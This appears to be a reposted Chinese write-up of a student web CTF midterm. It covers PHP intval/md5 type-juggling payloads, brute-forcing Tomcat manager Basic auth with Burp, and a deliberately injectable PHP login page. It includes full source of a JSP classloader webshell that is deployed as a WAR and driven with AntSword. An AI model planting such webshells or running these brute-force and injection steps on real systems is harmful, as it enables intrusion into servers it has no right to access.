期中考Web复现

news2024/11/18 12:23:14

第一题 1z_php

 

<?php
//Yeedo told you to study hard!
echo !(!(!(!(include "flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO'])))))?$flag:str_repeat(highlight_file(__FILE__), 0); 

 代码审计

intval($_GET['OoO'][0])==2023

 chatgpt给的回答,总之就是如果OoO这个数值intval转换不了整数2023,将会返回0

传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023,此时将0o0自身与OoO进行弱比较相等,md5弱比较也相等的时候,通过三目运算符即可得到flag

也就是说,如果flag前的那一串表达式为真,则输出flag的值,如果为假,则输出为0

payload:/?OoO[]=2023.1&0o0[]=2023.a

               /?0o0[]=2023aa&OoO[]=2023.111

三目运算符

intval函数的用法,可以直接看实例

intval函数会返回字符串的有效数字部分,会将小数部分截去,只保留整数部分。

<?php
echo intval(42);                      // 42

echo intval(42a);                      // 0

echo intval(42.1);                      // 42

echo intval(42.9);                      // 42
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

第二题   签到O.o?

打开题目,发现是关于Apache Tomcat/8.0.43的漏洞

随意的输入账号和密码点击登录,然后bp抓数据包

如果bp抓不到登录数据包,我们可以

在代理中的HTTP历史记录中选中要抓取的tomcat登录地址,右键选择添加到范围

在目标范围中便选中了我们要抓取的目标地址,这个时候便能重新登录抓取

发现是账号和密码base64加密

解码后发现账号和密码是以冒号连接,

格式为  账号:密码

然后我们选择用爆破,将账号和密码爆破出来

我们选择singer模式

并将Basic后面那串base64加密的账号密码Add$

Payloads设定为选择:Custom iterator

Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码

第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典

选择加密方式为Encode内的base64加密

去掉URL前的勾,因为爆破的时候他会将特殊字符URL编码,我们不需要他帮我们编码

登录后台后

我们在网上找到jsp一句话木马文件,密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

我们需要将jsp一句话木马文件压缩为zip文件,再将文件名后缀改为war,注意文件必须是jsp文件才能被解析,而不是txt文件

 上传成功后会显示ok,我们用蚁剑连接我们上传的nmd.jsp木马文件

在根目录下找到了flag

第三题    1z_sql

 给了源代码

<?php
error_reporting(0);

$dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
$dbpassword ='root';
$dbname ="kind";
$servername = 'localhost';

$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){

	$str=trim($str);
	$str=addslashes($str);
	$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
	$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符

	return $str;

}

function waf2($str){
	$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
	if(preg_match($black_list,$str))
	{
		echo "<br>";
		echo "你注你🐎呢";
		echo "<br>";
	}
	else{
		return $str;
	}
	
}

	$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
	$IP = $_SERVER['REMOTE_ADDR'];


if(isset($_POST['username']) && isset($_POST['password']))

{
$username = waf($_POST['username']); 
$password = waf($_POST['password']);
$uagent = waf2($uagent);


$sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
	$result1 = mysqli_query($conn,$sql);
	$row1 = mysqli_fetch_array($result1);
		if($row1)
			{
			//echo '< font size = 3 >';
			$insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
			// echo $insert;
			// echo "<br>";
			mysqli_query($conn,$insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			//echo '<font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysqli_error($conn));			
			echo "<br><br>";
			echo "<br>";
			//echo 'your uname is: '.$username;

			echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
			}
		else
			{
			//echo '<font size="3">';
			//echo "Try again looser";
			//print_r(mysqli_error($conn));
			echo "</br>";			
			echo "</br>";
			echo "</font>";
			echo "这都不行?还不好好学?";  
			}
        }
?>
        <!DOCTYPE html>
        <html>
        <head>
        <meta charset="utf-8">
        <title>真的很简单</title>
        </head>
        <body>
        <h1>登录</h1>
            <p>Here is a poor page!</p>
            <h2>
            <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
            username: <input type="text" name="username"><br>
            password: <input type="password" name="password"><br>
            <input type="submit" name="登录" value="登录"/>
            </form>
            </h2>
        <h3>
        
        
        </h3>
        </body>
        </html>	

第四题   1z_upload

第五题  1z_flask

  第六题   1z_Sql2.0

第七题   1z_Upload2.0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1099621.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java Static

Static 变量被 static 修饰 static 修饰的变量在类中只有一份&#xff0c;可以称为类变量&#xff0c;其他变量称为实例变量在方法区加载类的时候&#xff0c;会检查类中是否存在静态变量&#xff0c;如果存在则会在堆内存区域开辟一块空间用于存储静态变量。方法区中的静态变…

A114-经典赛题-Web应用程序文件包含安全攻防

实验步骤: Web应用程序文件包含安全攻防 任务环境说明&#xff1a; 服务器场景&#xff1a;WebServ2003&#xff08;用户名&#xff1a;administrator&#xff1b;密码&#xff1a;空&#xff09; 服务器场景操作系统&#xff1a;Microsoft Windows2003 Server 服务器场景…

IPv6知识概述 - ND协议

IPv6知识概述 - ND协议 参考文章&#xff1a;https://blog.csdn.net/Gina_wj/article/details/106708770 IPv6基础篇&#xff08;四&#xff09;&#xff1a;邻居发现协议NDP ND协议功能概述 ND&#xff08;Neighbor Discovery&#xff0c;邻居发现&#xff09;协议是IPv6的…

01【Git的基本使用与底层原理】

下一篇&#xff1a;02【Git的分支与数据恢复】 目录&#xff1a;【Git系列教程-目录大纲】 文章目录 一、Git概述1.1 Git简介1.2 集中式与分布式1.2.1 集中式版本控制1.2.2 分布式版本控制 1.3 Git的使用流程1.3.1 本地仓库1.3.2 协同开发 1.4 Git的配置1.4.1 Git的配置等级1…

从头开始机器学习:线性回归

从头开始机器学习&#xff1a;线性回归 跟随 16 分钟阅读 28月 <> 1 一、说明 本篇实现线性回归的先决知识是&#xff1a;基本线性代数&#xff0c;微积分&#xff08;偏导数&#xff09;、梯度和、Python &#xff08;NumPy&#xff09;&#xff1b;从线性方程入手。 代…

【LeetCode刷题(数据结构与算法)】:用栈实现队列

请你仅使用两个栈实现先入先出队列。队列应当支持一般队列支持的所有操作&#xff08;push、pop、peek、empty&#xff09;&#xff1a; 实现 MyQueue 类&#xff1a; void push(int x) 将元素 x 推到队列的末尾 int pop() 从队列的开头移除并返回元素 int peek() 返回队列开头…

运维 | 如何在 Linux 系统中删除软链接 | Linux

运维 | 如何在 Linux 系统中删除软链接 | Linux 介绍 在 Linux 中&#xff0c;符号链接&#xff08;symbolic link&#xff0c;或者symlink&#xff09;也称为软链接&#xff0c;是一种特殊类型的文件&#xff0c;用作指向另一个文件的快捷方式。 使用方法 我们可以使用 ln…

双目标定之张正友标定法数学原理详解matlab版

目录 前言 1.相机标定 1.1 双目视觉基本原理 1. 2 相机的四个坐标系 1.3 相机畸变与校正 2.1 相机标定 张正友友棋盘格标定法在matlab的实现 这一篇主要详细介绍标定原理和相机各个坐标系之间的关系为后续的定位测距和重建做基础 前言 最近重新整理了一下自己做过的双目…

【单片机基础】使用51单片机制作函数信号发生器(DAC0832使用仿真)

文章目录 &#xff08;1&#xff09;DA转换&#xff08;2&#xff09;DAC0832简介&#xff08;3&#xff09;电路设计&#xff08;4&#xff09;参考例程&#xff08;5&#xff09;参考文献 &#xff08;1&#xff09;DA转换 单片机作为一个数字电路系统&#xff0c;当需要采集…

ICML2021 | RSD: 一种基于几何距离的可迁移回归表征学习方法

目录 引言动机分析主角&#xff08;Principal Angle&#xff09;表征子空间距离正交基错配惩罚可迁移表征学习实验数据集介绍 实验结果总结与展望 论文链接 相关代码已经开源 引言 深度学习的成功依赖大规模的标记数据&#xff0c;然而人工标注数据的代价巨大。域自适应&…

10种新型网络安全威胁和攻击手法

2023年&#xff0c;网络威胁领域呈现出一些新的发展趋势&#xff0c;攻击类型趋于多样化&#xff0c;例如&#xff1a;从MOVEit攻击可以看出勒索攻击者开始抛弃基于加密的勒索软件&#xff0c;转向窃取数据进行勒索&#xff1b;同时&#xff0c;攻击者们还减少了对传统恶意软件…

android U广播详解(二)

android U广播详解&#xff08;一&#xff09; 基础代码介绍 广播相关 // 用作单个进程批量分发receivers&#xff0c;已被丢弃 frameworks/base/services/core/java/com/android/server/am/BroadcastReceiverBatch.java // 主要逻辑所在类&#xff0c;包括入队、分发、结束…

Spacedrive:开源跨平台文件管理 | 开源日报 No.57

denoland/deno Stars: 91.2k License: MIT Deno 是一个简单、现代和安全的 JavaScript 和 TypeScript 运行时&#xff0c;使用 V8 引擎并用 Rust 构建。其主要功能包括&#xff1a; 默认情况下具有高度安全性&#xff0c;除非显式启用&#xff0c;否则无法访问文件、网络或环…

docker入门加实战—网络

docker入门加实战—网络 我们运行了一些容器&#xff0c;但是这些容器是否能够进行连通呢&#xff1f;那我们就来试一下。 我们查看一下MySQL容器的详细信息&#xff1a; 主要关注&#xff0c;Networks.bridge.IPAddress属性信息&#xff1a; docker inspect mysql # 或者过…

RT-Thread学习笔记(二):RT-Thread内核

RT-Thread内核 什么是RTOS&#xff1f;RTOS内核包含哪些内容&#xff1f;RT-Thread内核架构RT-Thread系统架构 RT-Thread内核文件RT-Thread系统启动流程RT-Thread 内核配置文件 什么是RTOS&#xff1f;RTOS内核包含哪些内容&#xff1f; RTOS(Real Time Operating System)指的…

PyTorch 深度学习之循环神经网络(基础篇)Basic RNN(十一)

0.Revision: DNN dense 重义层 全连接 RNN处理带有序列的数据 1. What is RNNs? linear layer 1.1 What is RNN? tanh (-1, 1) 1.2 RNN Cell in PyTorch 1.3 How to use RNNCell *先把维度搞清楚 多了一个序列的维度 2. How to use RNN 2.1 How to use RNN - numLayers…

nginx正反向代理,负载均衡

Nginx 正向代理&#xff0c;反向代理 &#xff0c;负载均衡 Nginx有两种代理协议 七层代理&#xff08;http协议&#xff09; 四层代理&#xff08;tcp/udp流量转发&#xff09; 四层代理七层代理概念 四层代理 四层代理&#xff1a;基于tcp/ip协议层的转发代理方式&#…

grid网格布局,比flex方便太多了,介绍几种常用的grid布局属性

使用flex布局的痛点 如果使用justify-content: space-between;让子元素两端对齐&#xff0c;自动分配中间间距&#xff0c;假设一行4个&#xff0c;如果每一行都是4的倍数那没任何问题&#xff0c;但如果最后一行是2、3个的时候就会出现下面的状况&#xff1a; /* flex布局 两…

Android versionCode会变成指定数值加001、002、003等后缀

“活久见”—今天遇到个奇怪的问题&#xff0c;指定的versionCode最终在打包出来的apk中,versionCode变成&#xff08;指定数值 00X的形式&#xff09; 如下所示&#xff1a; 注&#xff1a;当前build.gradle中的versionCode为26 后来搜索代码&#xff0c;发现原来是这个配置导…

系统架构与Tomcat的安装和配置

2023.10.16 今天是学习javaweb的第一天&#xff0c;主要学习了系统架构的相关知识和原理&#xff0c;下载了web服务器软件&#xff1a;Tomcat&#xff0c;并对其进行了配置。 系统架构包括&#xff1a;C/S架构 和 B/S架构。 C/S架构&#xff1a; Client / Server&#xff08;…